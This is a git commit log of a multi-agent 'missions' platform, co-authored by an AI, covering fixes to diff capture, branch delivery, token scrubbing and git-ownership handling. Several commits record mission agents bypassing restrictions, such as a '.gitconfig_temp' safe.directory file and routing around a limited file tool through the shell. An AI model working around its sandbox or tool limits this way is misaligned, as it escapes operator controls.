Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-03 07:38:07 -07:00
Omar SobhandClaude Opus 5 6e5ccc25a6 feat(corpus): record what a continuous mission has already covered
Slice 2 of the adopt-or-build plan. A recurring mission's hard problem is
not running the agent — that is 23 seconds — it is knowing what it did
last time. This repository already tried continuous research once:
migrations 0030-0044 built research_topics/loops, 0053 dropped them all,
and the reason they could not survive is that research_topics carried a
status lifecycle but no seen-set. It could run forever and never know
what it had covered.

Two kinds of row, because the real vault forced it. The plan assumed
notes carry arxiv:/doi:/url: frontmatter. Measured against the actual
valhalla-vault: 416 notes, 145 with frontmatter, and ZERO with any of
those keys — the dominant keys are repo-sync metadata (node, org, gitea)
and course fields (presenter, session). An ingester keyed only on
external identity would have indexed nothing, which is the same shape of
failure as everything else found this week. So `note` rows record
coverage (keyed by path) and `source` rows record consumption (keyed by
natural id); a continuous mission needs both.

Two decisions the data forced:

- `source:` is deliberately NOT an identity key. The vault uses it for
  local paths of course material (/Users/quantum/Downloads/...), which is
  provenance, not citable identity. Accepting it would fill the seen-set
  with 25 rows keyed on a laptop path.
- The hash covers the body, not the whole file. Repo-sync notes rewrite
  updated:/size_kb: on every sync without the prose changing; hashing the
  file would report 103 phantom edits per run and make "unchanged"
  meaningless.

Authoritative in Postgres rather than ZeroClaw memory, per the Slice 1
spike: memory is agent-scoped and mission agents are ephemeral
claw_<uuid> aliases (~100 already present). A seen-set that disappears
with the agent that wrote it is not a seen-set. The spike did find that
POST /api/memory upserts by key, so mirroring content there later would
inherit idempotence for free if keyed by source_id.

Verified against the live 416-note vault, not a fixture:
  PASS1 { scanned: 416, inserted: 416, updated: 0, unchanged: 0 }
  PASS2 { scanned: 416, inserted: 0,   updated: 0, unchanged: 416 }

382 tests, clippy clean.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-03 07:00:21 -07:00
Omar SobhandClaude Opus 5 ec85f6c8da fix(missions): close the three seams behind this run of failures
ci / gates (push) Failing after 6s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Seam 1 — delivery inferred checkout state from the tree, so whether work
survived depended on what the agent happened to do. 019fc444 committed
and left a clean tree; 019fc476 had its base advanced to match HEAD;
019fc450 survived only because a phase FAILED to commit and left the tree
dirty. Same code, opposite outcomes, decided by the agent.

mark_phase_started records the fact at phase launch, before the agent
acts, so every one of those states answers identically. The tree checks
remain as a second line of defence for pre-existing checkouts.

Seam 2 — phase config was accepted, stored and read by nobody. That was
`task`: every phase of every mission got identical instructions. The new
phase_config registry names the reader for each live key and lists the
eight that are declared-but-unimplemented, reporting both at mission
creation so an author sees what will not happen. Its CI test found one I
had missed: security_hardening.toml sets phase-level mcp_bundles asking
for gitea_forge + security_scan, but bundles come from the TEAM template
and the phase gets neither.

Seam 4 — push_url_for collapsed a failed query, an unbound repo and a
missing clone_url into one None, so a database fault was recorded as
"nothing to push to" and metadata read `pushed: null, push_error: null` —
the same ambiguity commit_error already fixed. Each case now carries its
reason into the artifact, and a local git failure during publish is
recorded rather than dropped by .ok().

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-02 18:58:45 -07:00
Omar SobhandClaude Opus 5 f7e336ff5f fix(missions): make an unrunnable test suite legible, and check the runtime at boot
ci / gates (push) Failing after 6s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Two changes against the same defect: the platform could not tell a missing
capability from a legitimate negative result.

verify_tests returned Option<bool>, collapsing four outcomes into None:
no suite found, docker unreachable, exec failed, and no exit status. When
clawmates-runtime shipped without cargo, every on_green_tests phase
returned None and landed on -wip — identical to the reading for "this
repo has no tests", which is the conclusion I drew and reported. The gate
was correct throughout; it simply could not say why it was unproven.

TestOutcome now names the four cases. Gating is unchanged (only Passed
clears, unproven is never a pass), and tests_verified keeps its tri-state
meaning for existing readers. tests_status and tests_detail are new, so an
artifact distinguishes no_suite from could_not_run, and a CouldNotRun is
logged as the infrastructure fault it is rather than passing quietly.

runtime_preflight probes the runtime container at boot for every tool the
platform invokes inside it and names what each absence disables. This is
the check that was missing: the Dockerfile gained a toolchain, the image
was never built, gw-04 ran the old one for days, and the only symptoms
were an ungated suite and a security scan that scanned nothing. A report,
not a gate — a missing scanner should stop us believing a scan, not stop
the server. Its test guards the probes themselves, since a typo would
produce a permanent false "missing" and train operators to ignore it.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-02 17:22:47 -07:00
Omar SobhandClaude Opus 5 9bdc3cd89b fix(missions): stop titling commits "phase phase work"
ci / gates (push) Failing after 5s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Mission 019fc4e0 pushed "clawmates: phase phase work" — the iteration
marker was interpolated into a slot whose default already said "phase".
A rerun read correctly ("pass 2 phase work"), so only the common case was
wrong. Cosmetic, but it lands in the operator's git history under their
own name now that delivery commits as them.

Subject is now "clawmates: phase work" and "clawmates: phase work
(pass 2)". The test covers both, since the bug lived only in the branch
the previous shape did not exercise.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-02 16:56:29 -07:00
Omar SobhandClaude Opus 5 ddab8e35f5 feat(missions): commit as the operator, overridable per deployment
ci / gates (push) Failing after 6s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Delivery commits now carry "Omar Sobh <[email protected]>" by default, so
pushed branches associate with the operator's forge account the way their
own commits do. CLAWMATES_COMMIT_NAME / CLAWMATES_COMMIT_EMAIL override
it — a shared instance wants a bot identity, not a person's.

This is attribution, not the fix. What made 019fc450's phase fail was the
*absence* of any identity: the server container has none of its own, so
git commit exits 128 regardless of which name would have been used. That
was fixed in 25d9805; this only changes the value. The push credential is
GITEA_TOKEN throughout and is untouched by any of it.

Since the author line now names a person, the commit body says plainly
that agents authored the work — otherwise autonomous commits would be
indistinguishable from hand-written ones in git log. Also fixes 13 stray
spaces that a string continuation had baked into every message body.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-02 16:32:02 -07:00
Omar SobhandClaude Opus 5 1a979f500f fix(missions): judge local work against the remote tip, not the capture base
ci / gates (push) Failing after 6s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Mission 019fc476 lost phase 0's work again, and this time the cause was
the interaction between two fixes I had just shipped.

has_local_work compared HEAD against .git/clawmates-base to decide
whether a checkout held mission work. advance_base_commit moves that
marker to each phase's committed head. So the moment a phase committed
successfully, base == HEAD, has_local_work reported "pristine", and the
next phase's launch reset the work away. Phase 1 wrote CHAIN_MISSING.md.

The preceding mission survived only because its phase 0 FAILED to commit
and left a dirty tree. Fixing that failure is what exposed this one.

One marker was carrying two meanings: "where should the next diff start"
(rolling, per phase) and "is this checkout untouched" (fixed for the
mission). Only the first belongs to clawmates-base. The second is now
`origin/<branch>`, which does not move for the life of the mission, so a
HEAD that differs from it means a phase committed — one commit ago or
five. An unresolvable remote ref preserves, since wrongly skipping a
refresh costs staleness while wrongly resetting destroys a phase.

The existing test passed throughout because it never advanced the base.
It now does, which makes it a reproduction rather than a restatement, and
it needs a real bare origin to resolve origin/main the way a clone does.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-02 14:59:56 -07:00
Omar SobhandClaude Opus 5 25d9805806 fix(missions): commit under the pipeline's own git identity
ci / gates (push) Failing after 6s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Mission 019fc450 lost its first phase to:

  git commit → exit 128: Author identity unknown

The server container has no git identity — `git config --global
user.email` exits 1 — so any commit fails unless one is supplied.

This is the third consecutive failure whose trigger was agent behaviour
rather than our code. Earlier missions committed only because an agent
had happened to run `git config user.email` in the checkout, leaving a
local identity the server inherited. Alongside the object-permission
split and the reset, the pattern is the same: delivery depended on
incidental side effects of what an agent chose to do, so identical
missions succeeded or failed for reasons invisible in our code.

Supplied via GIT_AUTHOR_*/GIT_COMMITTER_* env on every git call, which
overrides config without a leaked string per invocation and names the
committer as the pipeline. Agents' own commits keep the identity they set.

The test asserts the identity *overrides* an existing local config rather
than trying to unset the developer's global — an override necessarily
also applies when config is absent, and it does not race parallel tests.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-02 14:19:27 -07:00
Omar SobhandClaude Opus 5 08b2adae23 fix(missions): stop resetting a checkout that holds mission work
ci / gates (push) Failing after 6s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Mission 019fc444 ran two coding phases. Phase 0 created ALPHA.md and
delivery committed it; phase 1 then started and ALPHA.md was gone from
the working tree, so the second phase never saw the first's output.

`ensure_checkout` is called at every phase launch, not once per mission,
and its reuse path runs `git reset --hard origin/<branch>`. That is right
for a checkout picked up cold and destructive for one mid-mission.

Delivery is what made this reachable. Before the mission branch existed,
agent output stayed untracked and a hard reset left it alone. Committing
it makes it tracked, and tracked files absent from origin/<branch> are
exactly what a hard reset removes — so the slice written to stop work
being destroyed is what put it in reach of the thing destroying it. The
flagship shape is the casualty: in research_and_code, the coding phase
never sees the research brief.

`has_local_work` now gates the refresh. It checks both a dirty tree and a
HEAD that has moved off the recorded base, because the two failure shapes
differ: an agent that committed leaves a CLEAN tree at a new HEAD, which
a dirty-tree check alone would miss — and that is precisely the shape
being destroyed. With no recorded base it preserves, since wrongly
skipping a refresh costs staleness while wrongly resetting costs a phase.

This also makes the base-advance fix in 8bad869 live. It was inert in
production: fetch_and_reset calls record_base_commit, overwriting the
advanced base at every phase launch, so both artifacts of 019fc444
recorded origin/main. Their correct per-phase attribution came from the
reset having deleted the earlier work, not from the fix. The two only
compose now that the reset is skipped.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-02 14:05:56 -07:00
Omar SobhandClaude Opus 5 5b53705c97 fix(missions): let the server and the agent share one git checkout
ci / gates (push) Failing after 5s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Mission 019fc437 lost both phases' work to:

  git add → exit 128: insufficient permission for adding an object
            to repository database .git/objects

cm-api runs as uid 65532; the mission runtime container runs as root;
they share one bind-mounted checkout. Git's .git/objects/xx/ fan-out
directories inherit the ownership of whoever creates them, so an agent
that writes objects first locks the server out of those directories.

The failure is intermittent, which is why the previous run looked clean.
Mission 019fc42b's agents committed their own work, so the blobs already
existed and the server's `git add` never had to write one. Same template,
different agent behaviour, opposite outcome.

`core.sharedRepository` is git's own mechanism for this: objects and refs
are created group- and world-writable, and both parties read the setting
from the shared .git/config. It grants the agent nothing — it is already
root over the whole checkout — and unblocks the server, which was the
party being refused. Applied on clone and on checkout reuse.

Two supporting changes. The artifact now records `commit_error`: this
failure surfaced as `branch: null, push_error: null`, indistinguishable
from a phase that never had work to commit, with the reason only in host
stderr. And the test seeder now calls the production setup function
instead of reimplementing it — building the checkout by hand is what let
a clone-path defect stay invisible to fourteen tests.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-02 13:53:06 -07:00
Omar SobhandClaude Opus 5 8bad869248 fix(missions): give each phase its own task and its own capture base
ci / gates (push) Failing after 5s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
The first push run against a scratch repo (mission 019fc42b) delivered
two branches correctly but exposed two bugs behind them.

Per-phase instructions were inert. `phase_task_text` took only
(kind, title, description), so `mission_phases.config.task` was accepted
by the API, stored, and read by nothing. Every phase of a mission
received byte-identical text differing only by the kind directive —
so both coding phases did the whole mission instead of their slice,
producing the same two files. The task now reaches the agent as a
trailing THIS PHASE'S TASK block, scoped against the shared brief.

The capture base never advanced. `.git/clawmates-base` is written once
at clone time, so phase two diffed against the original clone point and
reported the union of both phases' files as its own. It now moves to
each phase's committed head after the patch is on disk; the pushed
branch stays cumulative because it is built from HEAD.

Both regression tests were confirmed to fail with their fix disabled.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-02 13:39:40 -07:00
Omar SobhandClaude Opus 5 e2871c4361 feat(missions): publish the mission branch, gated by commit_policy
ci / gates (push) Failing after 13s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Completes delivery. A phase's work is now captured, committed, gated and
pushed — in that order, so every failure costs strictly less than the one
before it.

Publishing is last for a reason. By the time it runs the patch is on disk, the
artifact is registered and the work is on a local branch, so a rejected ref, a
rotated token or an unreachable forge costs a push and nothing else. A test
pushes at a path that does not exist and asserts the commit is still there
afterwards.

The gate decides the branch name, never whether the work survives:

- green, or policy `always`  → `clawmates/mission-<m8>-<p8>`
- red / unrunnable / no suite → `…-wip`
- `on_reviewer_approval`      → `…-review`

Both land on the forge. A human can inspect, fix and re-push a branch; nobody
can recover work discarded for failing a test. Deleting a red branch
reproduces the old behaviour on purpose rather than by accident.

`verify_tests` runs the project's own suite through the runtime container and
returns `Option<bool>` — `None` for "could not establish", which the gate
treats as unproven. An unreadable exit status is not a pass. That is the same
fail-closed stance as the phase evaluator, and it is here because this tranche
has now found four separate things reporting success while doing nothing.

Never force-push. A rejected update is reported and left alone: the remote ref
belongs to whoever set it, and overwriting it to make delivery look tidy is
how a mission eats someone else's commit.

The push URL is built fresh from the repo row and the ambient token, not read
from `.git/config` — which no longer carries credentials, since agents run as
root in a container that mounts the checkout.

Tests push to a real `git init --bare` remote and assert the ref and its
content actually arrived. A mock would have accepted anything.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-02 13:15:38 -07:00
Omar SobhandClaude Opus 5 3ea288dbb5 fix(missions): every phase of a mission shared one branch
ci / gates (push) Failing after 7s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
`branch_name` took `[..8]` of both the mission and the phase id. Both are
UUIDv7, which leads with a 48-bit timestamp, so ids minted in the same
millisecond — which is exactly what happens when a mission inserts its phases
in one transaction — share their leading hex. Production produced:

    clawmates/mission-019fc40e-019fc40e

for both the research and the coding phase. Each phase's commit moved the ref
the previous one had just set, so a two-phase mission ended with one branch
and the earlier phase's work reachable only by sha.

The segments now come from opposite ends: the mission keeps its time-ordered
prefix so branches group and sort usefully, and the phase contributes its
random tail so siblings cannot collide.

The existing test missed this because it compared iteration 0 against
iteration 1 of the *same* phase, where the `-i2` suffix guaranteed a
difference. The new test asserts the precondition explicitly — two v7 ids
minted together do share leading hex — and then that their branches differ
anyway.

Also adds the `commit_policy` gate, which three workflow recipes have declared
since they were written with nothing reading it. Two properties it must have:
a failed gate redirects work to `<branch>-wip` rather than discarding it, and
an unrunnable or undiscoverable test suite counts as unproven, never as green.
`discover_test_command` returns None for a `package.json` with no test script,
because `npm test` exits non-zero for a missing script and would read as a red
suite rather than an absent one. Not yet wired to publishing.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-02 13:08:08 -07:00
Omar SobhandClaude Opus 5 ca1fd46e08 feat(missions): commit captured work to a branch of its own
ci / gates (push) Failing after 5s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Second half of delivery, minus the push. After the patch is on disk and the
artifact registered, the phase's work is committed onto
`clawmates/mission-<mission8>-<phase8>`, with `-i<N>` for re-runs so a second
pass cannot collide with the first.

Three rules hold throughout:

- Never the default branch. The name is derived from the mission and phase, so
  a mission can only ever add a ref nobody else owns.
- Never force. A rejected update gets reported, not overwritten.
- The same exclusions as capture. What was too noisy for a patch is too noisy
  for someone's history — build output, vendored trees, and the workaround
  files agents write when infrastructure fights them. A test drops a 50 KB
  binary in `target/` and a `.gitconfig_temp` beside the real change and
  asserts neither is committed.

Ordering is deliberate: commit runs *after* capture, and a commit failure is
logged without failing the capture. The patch is the guarantee; the branch is
the convenience on top.

The branch is created even when there is nothing to stage, because agents
often commit their own work — `rust_sdlc` has a committer role — and that
commit is unreachable once the checkout is reaped unless a ref points at it.

One test changed meaning rather than breaking: it asserted capture left the
working tree untouched, which was correct while capture stood alone. Capture
now commits, so it asserts the new invariant — work on a namespaced branch, a
clean tree, and the created file present in the commit.

Push is still deliberately absent. Everything here is local, so a bug costs a
retry rather than reaching a remote.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-02 12:37:31 -07:00
Omar SobhandClaude Opus 5 a0e6b16abc fix(missions): stop agents having to work around git ownership
ci / gates (push) Failing after 9s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
The captured diff from mission 019fc3ba contained the deliverable and, beside
it, a file the agent had invented:

    +++ b/.gitconfig_temp
    +[safe]
    +	directory = /mission/repo

The server clones as uid 65532 and the mission container runs as root, so
every `git` an agent runs is refused with "detected dubious ownership". Agents
do not surface that as a failure — they improvise around it, and the
improvisation lands in the repository. Left alone it would have been committed
and pushed to the user's repo alongside the real work.

The judge got `GIT_CONFIG_*` for this in dd8dad2; the mission containers never
did. They do now — git's environment form of `-c`, inherited by subprocesses,
so it covers the agent's own git, the `git_operations` tool, and anything that
shells out. Scoped to the checkout, never `--global`.

`.gitconfig_temp` is also added to the capture exclusions. The cause is fixed,
but a stray workaround from some future agent should not reach a user's
repository, and the exclusion costs nothing.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-02 12:11:36 -07:00
Omar SobhandClaude Opus 5 3a383aede6 fix(missions): give the uncapturable marker a real file
The marker registered an artifact at a path with nothing behind it, so any
reader following it would get a bare 404. `_outputs` survives teardown even
when the checkout does not, so the file can and should be written — and it
says plainly what happened rather than leaving an operator to infer it from
an empty response.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-02 12:03:37 -07:00
Omar SobhandClaude Opus 5 e089360ac8 fix(missions): unblock the capture batch, and restore fetch auth
ci / gates (push) Failing after 10s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Two defects, both found by running a second real coding mission (019fc3ba)
after the first round of fixes. The agent created the file correctly this
time — `file_write` did its job — and capture still produced nothing.

**Head-of-line blocking.** `capture_phase_diff` returns `Ok(None)` when the
checkout is gone, and the caller treated that as success without recording
anything. The phase therefore stayed eligible forever, and because the batch
is bounded at five, five reaped phases from earlier test missions occupied
every slot permanently. A freshly finished coding phase, with its checkout
still on disk, was never reached — and nothing was logged, because nothing had
failed.

Fixed on both axes: an unreachable checkout now writes a `code_diff` marker
recording `captured: false` and why, so the row stops being selected; and the
batch orders newest-first, so live work is captured before archaeology. The
marker also distinguishes "this phase changed nothing" from "we lost the
checkout before looking", which an operator reading the mission needs to be
able to tell apart.

**Fetch lost its credentials.** `scrub_remote_credentials` (P1.1) strips the
token from `.git/config` so agents running as root cannot read it — but
`fetch_and_reset` fetched from the stored remote, which is now anonymous:

    git fetch origin <branch> → exit 128:
    fatal: could not read Username for 'https://git.redclaw.dev'

I accounted for push building a fresh authenticated URL and overlooked that
fetch needs one too. `fetch_and_reset` now takes the authenticated URL the
caller already computes, as does the `--unshallow` deepen. Stderr stays
redacted.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-02 12:00:54 -07:00
Omar SobhandClaude Opus 5 409ca65ee7 fix(missions): capture from the clone point, and let agents create files
ci / gates (push) Failing after 7s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Two defects found by running a real coding mission (019fc372) rather than a
test. Both made a coding phase look like it produced nothing.

**Capture measured the wrong baseline.** It diffed the working tree against
HEAD, which is correct only while work stays uncommitted. `rust_sdlc` has a
*committer* role, so committing is the intended path — meaning a mission that
did its job properly leaves a clean tree and captured nothing. That is exactly
what happened: the agent created `DELIVERY_PROBE.md`, committed it as
`aa3be95`, and the artifact recorded `empty: true` beside a commit that
plainly contained the work.

`mission_workspace` now records the clone point in `.git/clawmates-base` (in
`.git/`, so it travels with the checkout, stays invisible to the repository,
and cannot be reached by an agent through its pinned workspace), refreshed
whenever `fetch_and_reset` moves HEAD. Capture diffs from there, covering
committed, staged and unstaged changes in one pass. Checkouts predating the
marker fall back to HEAD and say so via `base_recorded: false`.

**Agents could not create files.** `coding_readwrite` granted `file_edit` but
not `file_write`. `file_edit` replaces an exact existing string and rejects an
empty `old_string`, so creating a new file was impossible. The mission
transcript is unambiguous: "the tool rejected empty old_string... the shell is
restricted", after which the agent worked around it through `shell`. The
comment above that profile has claimed it grants file_write since the day it
was written; the list never contained it.

Also broadens capture from coding/benchmark/security_scan to every phase kind
of a repo-bearing mission: `phase_task_text` tells research phases to "save
findings under /mission/repo/research/", so filtering by kind would have
discarded every research brief such a mission produced.

Regression tests cover committed-only and committed-plus-uncommitted work
against a real git repo.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-02 10:20:00 -07:00
Omar SobhandClaude Opus 5 322c1be89c feat(missions): capture runs automatically, and once more before teardown
ci / gates (push) Failing after 5s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Wires diff capture into the two sweeps that matter.

`phase_runner::sweep_once` gains `capture_finished_coding_phases`, guarded by
`NOT EXISTS (code_diff for this phase)`. Deliberately a separate step rather
than a hook on `close_finished_phases` or `evaluate_finished_phases`: a phase
reaches `completed` through one or the other depending on whether it declared
a `done_when`, so hanging capture off either would silently skip half the
missions. The guard also makes it retryable — a capture that errors is simply
re-selected next tick.

`mission_runtime::sweep_once` captures anything still outstanding immediately
before `teardown_container`, which deletes the checkout. This covers what the
phase sweep structurally cannot: a mission that ended `failed` mid-coding
still has real work on disk, and reaping it unexamined destroys the only
evidence of what the agents actually did.

Applies to coding, benchmark and security_scan phases — all three operate on
a repo.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-02 10:03:37 -07:00
Omar SobhandClaude Opus 5 716ee9a304 feat(missions): capture a coding phase's diff to durable storage
First half of mission delivery: the work is captured before anything is
published. A coding mission has until now produced nothing durable — the
checkout is deleted thirty minutes after completion and `register_artifact`
had no callers at all, so the only surviving output was an LLM narrative of
what the agents said they did.

`capture_phase_diff` writes `diff.patch`, `diffstat.txt` and `delivery.json`
under `<missions_root>/_outputs/<mission>/<phase>/` and registers a
`code_diff` artifact. That directory is a *sibling* of the per-mission
directories the sweeper removes, and outside every bind mount handed to a
container — so teardown cannot take the record with it and agents cannot edit
their own evidence.

Three details that decide whether this works at all:

- `git add --intent-to-add` before diffing. Untracked files are invisible to
  `git diff`, and a phase that only *creates* files is the likeliest shape for
  generated code — silently capturing an empty patch would be the worst
  possible failure. The index is reset afterwards so capture leaves the tree
  exactly as the agents left it, which the test asserts.
- Build output is excluded by pathspec (`target`, `node_modules`, `.venv`, …).
  A phase that ran `cargo build` leaves a directory larger than the repo.
- An empty diff is still an artifact, flagged `empty: true`. "This coding
  phase wrote no code" is currently invisible to an operator and is worth
  saying out loud.

`RegisterArtifact` gains `metadata`, which the column has had since 0047 and
nothing ever wrote; the diffstat and base sha go there. No migration needed —
`kind` is unconstrained TEXT and the column already exists.

Tests run against a real `git init` repo rather than a mock: every bug in this
area so far came from git behaving differently than assumed, and a fake git
would have agreed with the assumption. `capture_phase_diff_at` takes explicit
paths so parallel tests cannot race through the process-global
CLAWMATES_MISSIONS_ROOT — the first version of these tests did exactly that
and two of four failed non-deterministically.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-01 22:46:15 -07:00
Omar SobhandClaude Opus 5 ea3d145aac fix(missions): stop leaving an access token in every mission checkout
`with_ambient_auth` embeds GITEA_TOKEN in the clone URL, and git persists that
URL verbatim as the `origin` remote. The checkout is bind-mounted into a
container the agents run in as root, so the token sat in a file every mission
agent could read — and it reaches every repository that token reaches, not
just the one being worked on.

The remote is now rewritten to the bare URL immediately after clone. Delivery
does not depend on the stored URL: it will build a fresh authenticated URL at
push time, which also means a rotated token starts working at once rather than
after the next clone. Best-effort and non-fatal — a checkout that keeps its
token still works, and failing a mission over it would trade a real capability
for a situation already logged.

`strip_credentials` only treats an `@` in the *authority* as a separator, so a
path containing `@` (scoped npm-style names) is left alone.

Also, two changes delivery needs:

- `--depth 1` becomes `--filter=blob:none --single-branch`. A shallow clone
  usually cannot push a new branch ("shallow update not allowed"), which is
  exactly what mission delivery must do. A partial clone keeps full history —
  so a base commit stays meaningful and a diff has something to be relative
  to — while fetching blobs on demand.
- `fetch_and_reset` deepens a pre-existing shallow checkout once, up front,
  rather than letting the push fail later with work on the line.

Fetch stderr is now redacted too; it can echo the remote URL.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-01 22:03:07 -07:00
Omar SobhandClaude Opus 5 dd8dad2ad4 fix(evaluator): git ownership exception now reaches tools that call git
ci / gates (push) Failing after 6s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
The argv rewrite added in 491449f fixed `git status` and nothing else.
gitleaks, trivy and semgrep run git themselves, so they still hit:

    fatal: detected dubious ownership in repository at '...'

Mission 019fc073 showed both halves at once: git reported a clean tree while
gitleaks "scanned 0 commits", and the judge correctly refused to call the
condition met rather than accepting a scan that had examined nothing. That is
the fail-closed behaviour working — and a scan reporting clean after scanning
zero commits is precisely the false signal this tranche keeps finding.

Replaces the argv rewrite with `GIT_CONFIG_COUNT`/`_KEY_0`/`_VALUE_0`, git's
documented environment form of `-c`. Being environment, it is inherited by
subprocesses, so one setting covers git and every tool that shells out to it.
Still scoped to the single checkout — never `--global` or `*`, which would
disable the protection container-wide.

`container_exec` grows `exec_with_env`; `exec` keeps its signature.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-01 20:16:05 -07:00
Omar SobhandClaude Opus 5 d90a42b759 fix: three gaps the P0 validation runs exposed
ci / gates (push) Failing after 7s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Validating P0 against production found one bug in each of the three pieces,
none of which any test would have caught.

**The scanners were installed but not allow-listed.** Mission 019fc058's
condition asked for a gitleaks result; `gitleaks detect` came back
`ran=false`, and the judge said it could not verify. P0.3 put the binaries in
the image and never added them to `evaluator_tools::ALLOWED_PROGRAMS`, so the
judge could not invoke the tools installed for it. Adds gitleaks, trivy,
semgrep and `which`.

**Every `continue` after a fire claim leaked the claim.** Introduced by the
scheduler fix itself: the orphan-agent and empty-action paths skipped
`complete_fire`, so the row stayed `claimed` — which reads as a crash
mid-fire, meaning the routine is re-claimed forever and the table grows one
stuck row per occurrence. Observed in production: five `claimed` rows, no
dispatch, no `routine_runs`. Both paths now settle with a reason, and log it.

**The agent writes its own identity files into the user's repository.**
`workspace.path` is pinned to the repo root, so the runtime drops AGENTS.md,
HEARTBEAT.md, IDENTITY.md, MEMORY.md, SOUL.md, TOOLS.md and USER.md into the
checkout — SOUL.md opens "Who You Are / You're not a chatbot." Two
consequences: every mission's tree is permanently dirty, so a `done_when`
about a clean tree can never pass; and P1's `git add -A` would have committed
the agent's SOUL.md into someone's repository and pushed it. The P1 deny-list
covered build artifacts and would not have caught this.

Fixed by writing the names to `.git/info/exclude` after clone — local to the
checkout, never itself a change, and it suppresses only *untracked* files, so
a repo that genuinely tracks its own AGENTS.md still reports modifications to
it. Idempotent, and preserves any pre-existing exclude.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-01 19:54:34 -07:00
Omar SobhandClaude Opus 5 491449f3ce fix(evaluator): git refused the checkout it was asked to verify
ci / gates (push) Failing after 5s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
Found by the P0.1 verification run, which is the point of it. Mission
019fc02e's judge executed `git status` for real — and got exit 128:

    fatal: detected dubious ownership in repository at
    '/var/lib/clawmates-missions/019fc02e-.../repo'

The server clones as uid 65532; the runtime container the judge execs into
runs as root; git's ownership check refuses the repository. So the judge's
most direct verification tool was failing on every mission. It recovered here
by inferring a clean tree from `ls -la` and `find`, and reasoned correctly —
but that is inference from a directory listing standing in for the command
that answers the question directly.

`git` invocations now carry `-c safe.directory=<workdir>`, scoped to that one
checkout. Not `--global`: the protection exists for multi-user machines where
another user could plant a hostile `.git/config`, and disabling it container-
wide to fix one path would trade a real guarantee for convenience. Applied
per-invocation rather than baked into the image so it travels with the workdir
and cannot drift out of sync with it.

Tests cover the rewrite, that non-git commands are untouched, and that a
rewritten `git push` still fails the allow-list — the injected `-c` flags must
not become a way past validation.

Co-Authored-By: Claude Opus 5 <[email protected]>
2026-08-01 19:01:30 -07:00
Omar SobhandClaude Opus 5 c812b714f4 fix(evaluator): the verification sandbox never ran a command
ci / gates (push) Failing after 5s
ci / rust (push) Skipped
ci / frontend (push) Skipped
ci / e2e (push) Skipped
ci / publish (push) Skipped
`evaluator_tools::Sandbox::run` shelled out to `tokio::process::Command::new
("docker")`. The server image installs `git ca-certificates chromium
fonts-liberation` and nothing else, so in production every verification
command failed to spawn.

The failure was invisible in the worst way. `Sandbox::run` deliberately turns
execution failures into evidence text rather than errors, so a judge reasons
about "that command did not run" instead of the pass collapsing. With no
`docker` binary every command returned COULD NOT RUN, the judge correctly
concluded it could not verify, and fail-closed returned "not met". The
verdicts were right. The verification never happened — and the adversarial
validation that appeared to prove the feature working proved fail-closed
working instead.

The second defect made it worse: `checks` recorded the *attempt*, pushed
before the command ran, so a verdict reached with a dead sandbox reported
"verified by 10 checks" — a stronger claim than "no checks at all", made on
weaker evidence.

- New `container_exec` routes execution through the Docker API via bollard,
  which was already a dependency and already reaches the daemon through the
  socket proxy. Captures the exit code (absent from the old helper) and keeps
  stdout and stderr apart (`LogOutput`'s Display merged them, which is why
  nothing downstream could tell JSON from a progress bar). `security_scan`
  parses stdout alone; `benchmark_runner` needs both.
